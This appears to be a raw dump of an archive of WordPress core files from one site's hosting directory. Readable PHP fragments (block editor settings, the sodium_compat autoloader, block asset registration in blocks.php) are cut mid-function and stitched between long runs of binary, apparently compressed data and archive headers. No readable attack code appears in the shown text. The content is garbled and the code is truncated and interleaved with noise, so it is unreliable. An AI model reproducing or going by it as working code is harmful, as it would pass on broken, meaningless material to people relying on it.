'disable-custom-gradients' ), 'disableLayoutStyles' => get_theme_support( 'disable-layout-styles' ), 'enableCustomLineHeight' => get_theme_support( 'custom-line-height' ), 'enableCustomSpacing' => get_theme_support( 'custom-spacing' ), 'enableCustomUnits' => get_theme_support( 'custom-units' ), ); // Theme settings. $color_palette = current( (array) get_theme_support( 'editor-color-palette' ) ); if ( false !== $color_palette ) { $theme_settings['colors'] = $color_palette; } $font_sizes = current( (array) get_theme_support( 'editor-font-sizes' ) ); if ( false !== $font_sizes ) { $theme_settings['fontSizes'] = $font_sizes; } $gradient_presets = current( (array) get_theme_support( 'editor-gradient-presets' ) ); if ( false !== $gradient_presets ) { $theme_settings['gradients'] = $gradient_presets; } $spacing_sizes = current( (array) get_theme_support( 'editor-spacing-sizes' ) ); if ( false !== $spacing_sizes ) { $theme_settings['spacingSizes'] = $spacing_sizes; } return $theme_settings; } /** * Initialize site preview. * * This function sets IFRAME_REQUEST to true if the site preview parameter is set. * * @since 6.8.0 */ function wp_initialize_site_preview_hooks() { if ( ! defined( 'IFRAME_REQUEST' ) && isset( $_GET['wp_site_preview'] ) && 1 === (int) $_GET['wp_site_preview'] && current_user_can( 'edit_theme_options' ) ) { define( 'IFRAME_REQUEST', true ); } } PK $[@@embed-template.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/embed-template.php000064400000000522150554425600020537 0ustar00S>WBk)$$|4Qu:[z6ݎ~njO#4FTo%Ϥt_hrE<* V$tld`QYqw8A hn(( iDtă1U .3SZ;DLQC)Eyeۢ\jT-_nIScp[f,~@TJڎW)IbM_\ _{B iXP֭CVG] 03 M-4Dl̕f ݰN;0BrZ |dں20L3( +*:Ba܆,̹ؕ!E}1OhYlbݭb'mqJ Cn/3e˵0 ƸJȇu4s*`4jT긄5ܬ IGb l28ceI66" Mv.:7زEmUFa y3g09 D`rcY TI{%<<|KnV{p6kp?*t(ڦSԶ'3숶?lN9`!۳GR*-8B36i57y-6۫ʴ<ۢ CAE'b$nhq/-XK&.W8 7(ƴu>ta6؞Vܢ \|"w7^cuzM~=pO=cNT1tQt[ (˧:k f}C!˗Y4gOҺΚ^m:mΒE䯒|O] ~*'u"љ,ޅ =Lʊ;ȦTY :ϛr *4/Y2-!# n:͈@;PKzcgW5LI>{o옩'v# rg`.p_&߼0gYz'ȶQ%zÃE)P|B2?gEV% *yI 8⚵GllJMКԴLƻy1^lK۲^.e yvdRrecBch"$DQ8a=j7ӴI]_a^4XRNg!>d4gY̗&_7yEP|܊m9Y)bWְobzzj2ܣc{4꾀U376_?jwu1eӼ)+op}n lp5PlShlYyUdπH᫻W鎬R^2tM?I>}fG_m/O8mYƶ7P b!>viHZ8iTxa^LٵzvkLғ#;B3:.~wR-y<]IQVt;Q{},yP.j'i>[Vlqjܲ񩩘X6_4w#|$Y6L<8/xH~5]IV4KjXJOsm3Xz+|1⋾O}Y_?|t3"{ ͠Gᧆ{7ܻL9 BcZDĴ5[GZǰ|gUُ{&ɳi՘yM 2o:Mev,qq8\y`Ɨ,7{ۉCVefz}w [:6h^ڴøhV CNѤx]SfTnKYBYlf&p0⭁t2>FWΊI~)"YO72ݬnD~U5ɮ<D^-+{`!wv䮗m1Q]uZvC'D/ g=<Ӌ\dlC1c@@=i69u $DAZGi^5S#/4f.B>]#^ ɤc-~I ̈́ Ņ&Dg kDnsc(ֵ:uYNrQ_#dkO 8w&YЫKo n}qW\ O^f5i2NF2Kg6'I"_*XnēdurI>3O32)vT6yNk*lsj<)vfrq錖F63g~&"t. 1bpW\ꘕԜa evD^us& n4|ٞhfaA9ӴL妪^5- : L[{gYNrV 9;Y tYڈfR'"fh4jplhxi.YFDGQ̐/Y =bn2ì̛5¢SB?<"qOYq`_hvJZ3't:Lvg0N bk 43*n;HnXFH2VwfZ;1!}\{ ^CbM|CQMӁsY7~;0#&t&,ΦeXU8@|"aLbEB` )+: #@sDJ"R 1N7ZY6. w2"f٤?y4BI)NFFz&D5J 8aP3p_~zfIZ$Y] ygZ3g3l"?Fi =5n=_U U@\dOಲgbW(qy\4 Q϶<`gض+~:ٲ0x\bP3t80bG@H}+/)2J#N=)& 1f1UvY#t9*" ]S0PV:_gh5PR;s)ܽku#X=0AGyC|8<~瀇" 1zMl:K +@1_llCeW1U&rxjo詹XP*~j(Qqi]P p|mv^Vm _$2GWjIL"35(D:_2]ؐ>f4gYc4k%l̕w6̵;nĶ-ujXʐA@%,W,ٸ9 %(`1m/'M+Kc8ژ_u|3?SdLYц_At~_/_uϦX:Dj Njk?D0=%e38 XXBu2Maڪ ?€dUynD,Np"Zk>CI%ر ,cP Qy8K8O^"/%{R0V9Hݐm4xRXc1?ŽC ,62.lвGhoZaq?JHr*@C b[ӇJRV͊zYarqC8#% mJoKs J-XD6TOp:Y*粵=ɯ$?P?4ݶ(\t+`~:0]v]X'd׉Н6lؿ"@E D ǃDi]8^R8m-.8⍶y7B3# *o)R¾Y:5a8b9a3·#``N^ qK# -็se@e]H>oObҪ7Ы#eSHAA#~_Dq!zWʎWAKg? b'Wλk;Jnڴ{Mq@#ɲ2dYU>0>R^dP_=GW57?شiR|Rhk:k0>q'/-n.eO {'3\u$-A+|5= Յnbz>~ @j`b|bGC|=(Ɏ^Eva׏}H4F9^6Y=(T @OVЛ_3wWȚV1DPyjո* h 7Os@Ceo<إ"qұ|f%^Fihga.ťz q،kkA׷܇ ݃ R7\(x/Eg;3%z!{Fso  <Y[Jw_|`$P6ڹ*;1IVT}h#=#ϲިØ" (YƸHc|/6*I XQUzp^́6C?0 ZiGos+'o-o˿6GhGO*ee~'5v3>w0D 77ذ 6 8›FRO&mQtp2%ܿ4WܿdV[_e+R0#|[8ŵN/'`fߌrxV Yf'Y]`q>6Alv7۽ԟvBift^)ShwOh4w/- Ud0p7Xbbfr ,ff|U->4̍:H 0Y54?-"OeL5k$:SU0TdG`(֫vq$A{Ecmˡ ն0[9129dgomԲrP|rBZ(zxSۼ@z-5 ~:^˯-2 pΥ[ۿW¢-5L(P7ku6CX~5 fa-p6I DKd,QQT1$ﲳeg{"to wF6aQz 9bg[+o4זh 0ziP&h[yj\4!=a9;$8*\b^ΓTF9 01KzQЫv,NM2Ks!QAqL7037YBlj[wMiV- ޷PN0 \;0o^ƽgϕU̓*­|SțĿI^i6C!)eڳvfa _T9#_å|,jg hbV* 8/6[|l=KWqq%+Q|ج$*: z}xip)3.M,@wt} R}MhGhڇQsߗr> a[T:D'ipWõ:ٕ:[k RӾ<V(~ݢ8 S./fqD!A/ tī~Ry,Yq΂Q[$yK[*kPҫŅaϹ؊ZcQxd$9b3jJBw(x%.3`Ӱq*;=aG!ȟV0V$Qk~jH쫸'Ⱥxn}0 /I *7rcbUDYk;ns#g$:?jƒ~QFEĀ1_YvAyLJ2:)́*AC*6NJ+X6OF5x-:VLd#MZx Ĝl>K d(eH}91DĔ=* GbJvqtj 2~ޭtl1@]&EFp $[Uw7F\[289=I!g$sέaB)8_x4}䏌7ip<A7Lqqp\cTSIs} zU$s;L{+?+t&Rځ;! t7 H(2]HW`Cȷ|7TA5>\zlwHu!V,uSLwr~x>VZUzWHʖ ߿e'zE܏6.gA2ƽwJ QӨ}_?GDE90_jڦs0LQ8Us^)rCqN{F8Y1h]ɖlH1|eۃWҗiJוY2t:qۻ ]_s=K,A(joI"= |섃|BKJ,=-ۏIYQA;IdI$<;kE}xpS64JdΡR3,Ӄ&Ț>@IkwKKYݶM 0V@u#˛M-W,K"O/>&5Dp;ZxEB`u݃"תt( S/H*;H>+ t[*WޥمM Ul荜WeVH#+9\ti&&'GZIU<=d[s.AkF=R>㜮S˹WSHyS.gca"sHZ"`Z~|=ӻvD ځ^z#uVi   83h#HP\]s^e52-|چ!E޽O,+a1.Ƅ/@?zT>V [2~Wt",P0[KMp% B~k@ Kىk.D.SR ֫=c"!B yS\N7 %重Vʌ9eui^lё4!sF51f$+*'u` 1!TuS!#>5߹gX~=y}p(U& %0<&+kpP%Rxjbj񅯉?y/ [{a `X, UIUY'ԥ5DcP,oHmJ`Ԁ,Pz8_VD:;4,lcGk؂khopbL&th^p!7|+{D8+p^/A,0H rpcxP;Jn/V_{?{j1vٷW13{euQ.^{1iy,OTe2;hb'\]_* -ɻj!=ucg=PW=rI(X@ MrI4qՙe`4xM&Y?uF&a& y}O [nY9cf 63X,b'(_ D=x}:hE 4r;6[°P7MڑhSE0iK1=Llõ}4z"&Ub":+F8iflhJBtmyע|_cq2-[Zmi^aupwR@"Y*pyE!&Z[d׻EQϮoE~9 gR:~$92 cd+悯/XVĉ(#VM;:0s;N d={'+2\Jf1 mDPFfRvLe]t3 ݷI}[:e8` n!ԝ@O{ZM b;5Vn\%ǹy(湀HNIMM q[8r (mWBE9կ7/_Ϗ>@'1Dsf"l\&3*=&g<;vHtLef 6M0KlOۉ>jb/ůMF,7@Sh}/(ދgqQ\ZtuP BJ%dľB|{pe.!9x7g:rk @o]T?ޝ*2{C<*"s9QUH+>b1^j<>EAL[&e$'m ap,Y KJ(yuFlY EJS@"NO!Xt6_0r+ D5K mI_O&UP*D(n4Ck٫TThBbAJ>1rrEχ@TGvĈUݓUHnfZy狑N~<@B'>w|ݓuGt;ytfe?/olaz͡~~>2; ZvehzNW|`S3v]|݅дw7V{E6\sv%M y;ԩL`U ,ӂḂOrEͶib(#NHdx1iɍ嗞 zR. MLq,lr^$W_R6u+=Ǻ3#:ت'Io䟭c$興g B U%LRԄ?tUj2ԑiCۏ#1Nܿǧ_ʼv 򥧧FQ-{F@l]&5Ƿ<ߌmuѶo]]?my[y|<~"\++ۑ$ԔAQ7tч4F@}mbbzz4Ud0b#%w\[dYRe #VkcfKճT4ԅ#FlPeH.ym?DL9-/~5ԼRx)[PYb3V,$CpL-bR ը61З!fZ9W!iV }>F9x6tTq󣾍 *$ 8زr*Ɓ-m(Lp;[6*i`NJ(|y oԖ;:{i0\3IxIÜ>" *beX(e=$[/mÎgtKi-TG-Ѓ.~ !zt7n?!u ޢ% '} ɧFd.E;Ǽ&nŶ[K{&#%*4Q] }g J [Oai˚}5=2`4V%'zθXk qjW՚gR -tYX(lbo0Z, ҹø'C9_AlG1X5DJX}Ƣ,#3neds;?g '_{\MTPS{/I{`9;?ZM:s y֫gӞ|ʐ)v{.4^=O{΍A]ev.(jT=9ٖ FK J`%ȝ7dӐ_ܝCd```.UP{0CT)"s~%wxy {+) 5{Q[IGl-WŨ53#KHuG[0WU_`. @(_kC60J!`^`)d#.ˠ֒B<]Gb]I[q{; }|hc-+d?9ZM(|&\:PkR} ځ]^camJs%ֱ}P)?^ڲai;*$ὺ:O$5b? [/ޑ672d[&Xߝ`ы(n_YYY;r^IZw{?dv;QPtC,2RBzzF`>n}&kFtjˣzv\gTC-ZYiSmmP)mPuʠbZ[c7nlp[p3{ oFܾ`naW iZ@ňaP߳ڏV ACW ?x,mx{w[U>x^gq y=-w PKbd@m1[)i=X 4(lޑJyHAv)%}k@xUdԔrVI g엟Hlr#ؙ p3--${]WPE:9]EM+d=9)fZ3P@A Snm[$`/aGCRoYVOzo!kc b&3ݖԶfG +7:!]Lzl3YZɑg8ZZg6;OdsZ]$ 7 EzP;tHS0 ȹk@=J8B\|!y=8z[~?.5Њ>3B.莎{`>.zۧtx28;4lplSnAh7lxK 2p4{YB~bHU \E9Ϧy :VL?2 'ҏ B-&S¿Т$BQ)bRo3s.E#胚j *{Cx;GHة 2V^9^jhv@P*+]T}#:+&ڻ{&ވ(AJv۬$C>Y. H酙7}q3.FZT\0ӟ~\;.'e[&k߱u{BXwZn1dt?ޣ@tBObqEΏŢvnաOa;vãdNI>b;T3݊^g,u .浐kwb#_۸GD@Oj5if){BjPrQc377*BB\I9>k'e٘on. CN/#Y߅Ld!.LyރOV@H^yJ8G_fzgOn&;?:MΌTbSv)6:0HHbd][Z^=G+ZрcEǪ9l$Уն:#؊acu\4ޗ#Ac%p+~gޚPMx5vrV2gFaOL(ݖ$s#k6wj8 KzPSRĽ;3$ }_-{_߂}Q+r&}=Gk임ןU?ɫtL(a^KoO[ ZwӺBM(PN}Zkg_wƾmwwG]u\h"E!.X2L'6 r˝QVV;aԙUXJX rYM2W`DeTm8pk\zlO {zO ? Hj).}\2='Jy#P \$׷}iN>1N}9 oT*(j#fE)e Uvz޿>mӅ'yjrlHSpi.͜iV V@> p0E0^BsR/ONI3fs%m4|*@l5v3O$ Ju#70"| ~J^,Ϩz>`LFٓ JQK-\`BabbCbbb' >WBėoQ.ż^yٻ⼫8;7yWQqĥfmEB;EocQtxf/ ( ח7;ly 4bZzt& oC'TGB_>m.FK7L` ]qįG@ RalՈ$1\|_ϫA{PVv)Q{s0 ( *^)š-z@u s--oUHChgG)p/YB/ Ksi\O}3*+BU\5-'XP+il+% [`brR 3. ½_Phocx-h05/c%HE7cW{T+M,}y]@T6=ųX{2~s„nBN=>]Vr/)3MWb"0 o W*|80g :>WփT6t'@!.i#[eS󪣑/RH ͇rwQe7P" 3C 8s%pGd,r?S,O2w~42rr9 .@|UjWG:wZ%vѻ 1Ky586yZM)a] McYjom  '3P Uo`Xu/uYCϳm /86?OpnTYv6qYΒ ]oMsA"h'I^ҹA(Utze-ܢ)ט; n-xH~)*Jֳf)"hߪep.ڲoW-\ -l}^ Xg]Vy<'Yv d5P;UZ-ڭꇅfe:?O 1)p0 'hJ^3Gl_P+/RPբ7cOw4_.;8Ux `-=ց֦_ɷp6}NӒ @F}=;'#v}; (h,ʒ^(߷VӿJe(<)=* z6yv_7F3"pwGHuTH3aڄ{UȾYCYI6Ţ\֋nrHdN%9Ƃ1ZOCJ}bxDzsތΫ8ԕO$g H zda7,d͂ځ(>(T1H3})Q}.lPu|֓)VyvI#aTM{FR{1,?=kbo'̶y~(Wz?Z<Ңv'PH[ "$@LV<#1>>Z9Z`~m;-6м"¬!2 $ H#ף Q֋愓>E=KbU&t|v--Ka~it \o LhlJ#ּR.TX M(ONr[.Y;V cqn2%&pt9J^3q8d> _5I}}a,A#iDNᴦ 4cnq'22q>ˉgnT_omT/![/]h'Ϟk!mĦ(=xF_{ p'`[g&gF5.Jzh$aUK$-ΏS#ʉŝ,W54Jl_@Vs{Xi @2`ddV=&Z@p,- {`](,6Ժ{]\#l|a^6g8h1,m ΢A˞s`L5s?—8Op/9#,~},+yk.{ %#AjN!F_%Fjx3(9 ^~YgtPAt.c˴Ralڱ:J2dxpkȼp4Θ\u6ٜC*AYcXhyq+MKkzQhz?܋N*(,Z]Vq FDcŴ$R4aig%bbИBlB|Z`~|?kJ{D>$fSkfrOOᓧOzdgOх4)[+*Y"v۴'&wSfs )X-l}jf$5d&3'f᛺#nuSQՋVG=_+LG:\Al!F-U`(Pm f.Oaj 8ʘ<3^wVnIo^4--m]K8>w^CRެlnٜiF,-%&xH6lN;㻏NH!Zʊ )>,بt++ܠ'ھlFvkݲݺr U7|Hw\fsxNJ(D3Oʓ6ⷾ18u]`kNlʷDoZq\GF꒪&4+{9 ٫Ŭ7(kLF{ lX[C=RT:c[VVKbWR,7gOY`mB?~>,e5j9V. [7X\c*u^`r~EsKSFDwx/hPIӏ9- BzEZ7=(#eGJ!o0XU1DɊ1%!kRIQKʼ2:B콭(QMf5[&"E&:e62o@'V%2(lFӄËA1.O*3m;yv.OzrB`p.';Arnx!i|wUp˚'Oaq7I:)fLi>Gk,BOrWj0R(lx I@=eYRҨdlE.&Ae _IŹh2l!phHCx[@g6O9WzP;7ok(u0>B' cj|y*%,EеB7[ܦNKstcFfe9"N⸫Vp SQc ɏo#g+t #ɁqoY{txK+=Ww2A}z?e}Lٶ+#|>euߎX7TZlH9E4m@Q::,e;cTAVzqYv6^W_ZUK3`|щg2 !},߹^!)@p}$C.)]*B0F&ؐtLznx/ 2pjZй";_l!|ZA֝1]3Cw<YsV" c0_qQݡ2> z֩m58_7z>ݯ[pB Kwf< {gk2LIo߮ƢYO-F&CLY%*׻3se4mQ]-Y*O-ػȊY{w?/w/U{z5L!w/a,^1A'?= SC 2Dc^у;TW"+ubU0w6MdlOeS>{7(;S!n۱ۮp^(It*8 BDsw-L*h-0ja 3?h+/, $~,uH$Ji12S\9"aoL{׻PD ]#VRwyſxpaAkԊq#e;^ / ;u.;9s31LR<ΐR|cϠuAE9;(rJA?h5r:jE)]٫llHg:yN>{o8[^,6lPcX3]SFRA=fɲ/8QpL+ x>IIqx52: ֮Ǖk9_?sw]N].. pXas[ֿBJ?.J9݆oi!pz{{{{_g PK $[mautoload.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/autoload.php000064400000006055150545363350022337 0ustar00= 50300) { // Namespaces didn't exist before 5.3.0, so don't even try to use this // unless PHP >= 5.3.0 require_once dirname(__FILE__) . '/lib/namespaced.php'; require_once dirname(__FILE__) . '/lib/sodium_compat.php'; if (!defined('SODIUM_CRYPTO_AEAD_AEGIS128L_KEYBYTES')) { require_once dirname(__FILE__) . '/lib/php84compat_const.php'; } } else { require_once dirname(__FILE__) . '/src/PHP52/SplFixedArray.php'; } if (PHP_VERSION_ID < 70200 || !extension_loaded('sodium')) { if (PHP_VERSION_ID >= 50300 && !defined('SODIUM_CRYPTO_SCALARMULT_BYTES')) { require_once dirname(__FILE__) . '/lib/php72compat_const.php'; } if (PHP_VERSION_ID >= 70000) { assert(class_exists('ParagonIE_Sodium_Compat'), 'Possible filesystem/autoloader bug?'); } else { assert(class_exists('ParagonIE_Sodium_Compat')); } require_once(dirname(__FILE__) . '/lib/php72compat.php'); } elseif (!function_exists('sodium_crypto_stream_xchacha20_xor')) { // Older versions of {PHP, ext/sodium} will not define these require_once(dirname(__FILE__) . '/lib/php72compat.php'); } if (PHP_VERSION_ID < 80400 || !extension_loaded('sodium')) { require_once dirname(__FILE__) . '/lib/php84compat.php'; } require_once(dirname(__FILE__) . '/lib/stream-xchacha20.php'); require_once(dirname(__FILE__) . '/lib/ristretto255.php'); PK $[ class-feed.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/class-feed.php000064400000001033150547764360017671 0ustar00}?vW:'#ຄg3%옸hKy- 3Kh*:̧5,O@,+G ?ვ-kїMa@rHʨnTey g\}bQjbt꯱Թ\z6~S*.Ev$PQQq;@O8ۻk@vG>,NW$Mci4MvQ# eQHd#"dCTFB>Iu01"IG{b穘AFZh [,QL؆;tG; z_TpO',CPBIO<@-}=>(#-%WɗKaͷ}fv{"*In= IY {0> o"uhBX | o+hI&sYb,*J(`)UeڥDLg`i7t$u0)eVE%8P %[ `Jݗz6e"+L+l[e%6WM@P@) ];K&n0Q,J* + ݿK@φSƞiLl.Ȕ8ȴA 3qilO 31yy[Z!B(P&+-`~m2$ a&C>~F |l]iqތ]12싁Y kh*:a qXs +Rt+&77~ (*ж7B;au +-&+P땫ЪO^hNtg`lj:s]tEcZvb6}7[X7*'#n~I$)_MHay:|q Wˡ;|ۘjG {!aO]+3p35(+d^!M5sJicϱAg!Y*]gs =dW@,R1 #cb \kN3އp.xLR{GY%M _gmb5,ڞԪڽ _sUyQMӣ{pSQ:sߎkw;#4,iعL %ă=(QN<#"_- Q,j(jqԼbBM?6|ymj3~3,d͢xQQ:8 bݗF=cIGGcPS(ݽbkl]8j6=1js` glQ.~g_Մm^qqð-Г E̱a>:FQ8213:b :wuloyD7ŭpC`*M61](-O2wLo Epw)k\<)&A>^b6Q4-_af@Z y %yF ({FYpx+K-y< HRL˩"q|bMEŕ` w=Ŭ"rJdz'-KRG*5U"{ۉNAf/MK-8(!..Y5o}_~W$ Bt 4-6Jʊ7!b_V-c9VgkM'<&*\YO~:/JxŸBxvp|Ԫi|O\=Fz2PK $[_g blocks.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/blocks.php000064400000334633150547663640017156 0ustar00 0 ) { $asset_handle .= '-' . ( $index + 1 ); } return $asset_handle; } $field_mappings = array( 'editorScript' => 'editor-script', 'editorStyle' => 'editor-style', 'script' => 'script', 'style' => 'style', 'viewScript' => 'view-script', 'viewScriptModule' => 'view-script-module', 'viewStyle' => 'view-style', ); $asset_handle = str_replace( '/', '-', $block_name ) . '-' . $field_mappings[ $field_name ]; if ( $index > 0 ) { $asset_handle .= '-' . ( $index + 1 ); } return $asset_handle; } /** * Gets the URL to a block asset. * * @since 6.4.0 * * @param string $path A normalized path to a block asset. * @return string|false The URL to the block asset or false on failure. */ function get_block_asset_url( $path ) { if ( empty( $path ) ) { return false; } // Path needs to be normalized to work in Windows env. static $wpinc_path_norm = ''; if ( ! $wpinc_path_norm ) { $wpinc_path_norm = wp_normalize_path( realpath( ABSPATH . WPINC ) ); } if ( str_starts_with( $path, $wpinc_path_norm ) ) { return includes_url( str_replace( $wpinc_path_norm, '', $path ) ); } static $template_paths_norm = array(); $template = get_template(); if ( ! isset( $template_paths_norm[ $template ] ) ) { $template_paths_norm[ $template ] = wp_normalize_path( realpath( get_template_directory() ) ); } if ( str_starts_with( $path, trailingslashit( $template_paths_norm[ $template ] ) ) ) { return get_theme_file_uri( str_replace( $template_paths_norm[ $template ], '', $path ) ); } if ( is_child_theme() ) { $stylesheet = get_stylesheet(); if ( ! isset( $template_paths_norm[ $stylesheet ] ) ) { $template_paths_norm[ $stylesheet ] = wp_normalize_path( realpath( get_stylesheet_directory() ) ); } if ( str_starts_with( $path, trailingslashit( $template_paths_norm[ $stylesheet ] ) ) ) { return get_theme_file_uri( str_replace( $template_paths_norm[ $stylesheet ], '', $path ) ); } } return plugins_url( basename( $path ), $path ); } /** * Finds a script module ID for the selected block metadata field. It detects * when a path to file was provided and optionally finds a corresponding asset * file with details necessary to register the script module under with an * automatically generated module ID. It returns unprocessed script module * ID otherwise. * * @since 6.5.0 * * @param array $metadata Block metadata. * @param string $field_name Field name to pick from metadata. * @param int $index Optional. Index of the script module ID to register when multiple * items passed. Default 0. * @return string|false Script module ID or false on failure. */ function register_block_script_module_id( $metadata, $field_name, $index = 0 ) { if ( empty( $metadata[ $field_name ] ) ) { return false; } $module_id = $metadata[ $field_name ]; if ( is_array( $module_id ) ) { if ( empty( $module_id[ $index ] ) ) { return false; } $module_id = $module_id[ $index ]; } $module_path = remove_block_asset_path_prefix( $module_id ); if ( $module_id === $module_path ) { return $module_id; } $path = dirname( $metadata['file'] ); $module_asset_raw_path = $path . '/' . substr_replace( $module_path, '.asset.php', - strlen( '.js' ) ); $module_id = generate_block_asset_handle( $metadata['name'], $field_name, $index ); $module_asset_path = wp_normalize_path( realpath( $module_asset_raw_path ) ); $module_path_norm = wp_normalize_path( realpath( $path . '/' . $module_path ) ); $module_uri = get_block_asset_url( $module_path_norm ); $module_asset = ! empty( $module_asset_path ) ? require $module_asset_path : array(); $module_dependencies = isset( $module_asset['dependencies'] ) ? $module_asset['dependencies'] : array(); $block_version = isset( $metadata['version'] ) ? $metadata['version'] : false; $module_version = isset( $module_asset['version'] ) ? $module_asset['version'] : $block_version; wp_register_script_module( $module_id, $module_uri, $module_dependencies, $module_version ); return $module_id; } /** * Finds a script handle for the selected block metadata field. It detects * when a path to file was provided and optionally finds a corresponding asset * file with details necessary to register the script under automatically * generated handle name. It returns unprocessed script handle otherwise. * * @since 5.5.0 * @since 6.1.0 Added `$index` parameter. * @since 6.5.0 The asset file is optional. Added script handle support in the asset file. * * @param array $metadata Block metadata. * @param string $field_name Field name to pick from metadata. * @param int $index Optional. Index of the script to register when multiple items passed. * Default 0. * @return string|false Script handle provided directly or created through * script's registration, or false on failure. */ function register_block_script_handle( $metadata, $field_name, $index = 0 ) { if ( empty( $metadata[ $field_name ] ) ) { return false; } $script_handle_or_path = $metadata[ $field_name ]; if ( is_array( $script_handle_or_path ) ) { if ( empty( $script_handle_or_path[ $index ] ) ) { return false; } $script_handle_or_path = $script_handle_or_path[ $index ]; } $script_path = remove_block_asset_path_prefix( $script_handle_or_path ); if ( $script_handle_or_path === $script_path ) { return $script_handle_or_path; } $path = dirname( $metadata['file'] ); $script_asset_raw_path = $path . '/' . substr_replace( $script_path, '.asset.php', - strlen( '.js' ) ); $script_asset_path = wp_normalize_path( realpath( $script_asset_raw_path ) ); // Asset file for blocks is optional. See https://core.trac.wordpress.org/ticket/60460. $script_asset = ! empty( $script_asset_path ) ? require $script_asset_path : array(); $script_handle = isset( $script_asset['handle'] ) ? $script_asset['handle'] : generate_block_asset_handle( $metadata['name'], $field_name, $index ); if ( wp_script_is( $script_handle, 'registered' ) ) { return $script_handle; } $script_path_norm = wp_normalize_path( realpath( $path . '/' . $script_path ) ); $script_uri = get_block_asset_url( $script_path_norm ); $script_dependencies = isset( $script_asset['dependencies'] ) ? $script_asset['dependencies'] : array(); $block_version = isset( $metadata['version'] ) ? $metadata['version'] : false; $script_version = isset( $script_asset['version'] ) ? $script_asset['version'] : $block_version; $script_args = array(); if ( 'viewScript' === $field_name && $script_uri ) { $script_args['strategy'] = 'defer'; } $result = wp_register_script( $script_handle, $script_uri, $script_dependencies, $script_version, $script_args ); if ( ! $result ) { return false; } if ( ! empty( $metadata['textdomain'] ) && in_array( 'wp-i18n', $script_dependencies, true ) ) { wp_set_script_translations( $script_handle, $metadata['textdomain'] ); } return $script_handle; } /** * Finds a style handle for the block metadata field. It detects when a path * to file was provided and registers the style under automatically * generated handle name. It returns unprocessed style handle otherwise. * * @since 5.5.0 * @since 6.1.0 Added `$index` parameter. * * @param array $metadata Block metadata. * @param string $field_name Field name to pick from metadata. * @param int $index Optional. Index of the style to register when multiple items passed. * Default 0. * @return string|false Style handle provided directly or created through * style's registration, or false on failure. */ function register_block_style_handle( $metadata, $field_name, $index = 0 ) { if ( empty( $metadata[ $field_name ] ) ) { return false; } $style_handle = $metadata[ $field_name ]; if ( is_array( $style_handle ) ) { if ( empty( $style_handle[ $index ] ) ) { return false; } $style_handle = $style_handle[ $index ]; } $style_handle_name = generate_block_asset_handle( $metadata['name'], $field_name, $index ); // If the style handle is already registered, skip re-registering. if ( wp_style_is( $style_handle_name, 'registered' ) ) { return $style_handle_name; } static $wpinc_path_norm = ''; if ( ! $wpinc_path_norm ) { $wpinc_path_norm = wp_normalize_path( realpath( ABSPATH . WPINC ) ); } $is_core_block = isset( $metadata['file'] ) && str_starts_with( $metadata['file'], $wpinc_path_norm ); // Skip registering individual styles for each core block when a bundled version provided. if ( $is_core_block && ! wp_should_load_separate_core_block_assets() ) { return false; } $style_path = remove_block_asset_path_prefix( $style_handle ); $is_style_handle = $style_handle === $style_path; // Allow only passing style handles for core blocks. if ( $is_core_block && ! $is_style_handle ) { return false; } // Return the style handle unless it's the first item for every core block that requires special treatment. if ( $is_style_handle && ! ( $is_core_block && 0 === $index ) ) { return $style_handle; } // Check whether styles should have a ".min" suffix or not. $suffix = SCRIPT_DEBUG ? '' : '.min'; if ( $is_core_block ) { $style_path = ( 'editorStyle' === $field_name ) ? "editor{$suffix}.css" : "style{$suffix}.css"; } $style_path_norm = wp_normalize_path( realpath( dirname( $metadata['file'] ) . '/' . $style_path ) ); $style_uri = get_block_asset_url( $style_path_norm ); $block_version = ! $is_core_block && isset( $metadata['version'] ) ? $metadata['version'] : false; $version = $style_path_norm && defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? filemtime( $style_path_norm ) : $block_version; $result = wp_register_style( $style_handle_name, $style_uri, array(), $version ); if ( ! $result ) { return false; } if ( $style_uri ) { wp_style_add_data( $style_handle_name, 'path', $style_path_norm ); if ( $is_core_block ) { $rtl_file = str_replace( "{$suffix}.css", "-rtl{$suffix}.css", $style_path_norm ); } else { $rtl_file = str_replace( '.css', '-rtl.css', $style_path_norm ); } if ( is_rtl() && file_exists( $rtl_file ) ) { wp_style_add_data( $style_handle_name, 'rtl', 'replace' ); wp_style_add_data( $style_handle_name, 'suffix', $suffix ); wp_style_add_data( $style_handle_name, 'path', $rtl_file ); } } return $style_handle_name; } /** * Gets i18n schema for block's metadata read from `block.json` file. * * @since 5.9.0 * * @return object The schema for block's metadata. */ function get_block_metadata_i18n_schema() { static $i18n_block_schema; if ( ! isset( $i18n_block_schema ) ) { $i18n_block_schema = wp_json_file_decode( __DIR__ . '/block-i18n.json' ); } return $i18n_block_schema; } /** * Registers all block types from a block metadata collection. * * This can either reference a previously registered metadata collection or, if the `$manifest` parameter is provided, * register the metadata collection directly within the same function call. * * @since 6.8.0 * @see wp_register_block_metadata_collection() * @see register_block_type_from_metadata() * * @param string $path The absolute base path for the collection ( e.g., WP_PLUGIN_DIR . '/my-plugin/blocks/' ). * @param string $manifest Optional. The absolute path to the manifest file containing the metadata collection, in * order to register the collection. If this parameter is not provided, the `$path` parameter * must reference a previously registered block metadata collection. */ function wp_register_block_types_from_metadata_collection( $path, $manifest = '' ) { if ( $manifest ) { wp_register_block_metadata_collection( $path, $manifest ); } $block_metadata_files = WP_Block_Metadata_Registry::get_collection_block_metadata_files( $path ); foreach ( $block_metadata_files as $block_metadata_file ) { register_block_type_from_metadata( $block_metadata_file ); } } /** * Registers a block metadata collection. * * This function allows core and third-party plugins to register their block metadata * collections in a centralized location. Registering collections can improve performance * by avoiding multiple reads from the filesystem and parsing JSON. * * @since 6.7.0 * * @param string $path The base path in which block files for the collection reside. * @param string $manifest The path to the manifest file for the collection. */ function wp_register_block_metadata_collection( $path, $manifest ) { WP_Block_Metadata_Registry::register_collection( $path, $manifest ); } /** * Registers a block type from the metadata stored in the `block.json` file. * * @since 5.5.0 * @since 5.7.0 Added support for `textdomain` field and i18n handling for all translatable fields. * @since 5.9.0 Added support for `variations` and `viewScript` fields. * @since 6.1.0 Added support for `render` field. * @since 6.3.0 Added `selectors` field. * @since 6.4.0 Added support for `blockHooks` field. * @since 6.5.0 Added support for `allowedBlocks`, `viewScriptModule`, and `viewStyle` fields. * @since 6.7.0 Allow PHP filename as `variations` argument. * * @param string $file_or_folder Path to the JSON file with metadata definition for * the block or path to the folder where the `block.json` file is located. * If providing the path to a JSON file, the 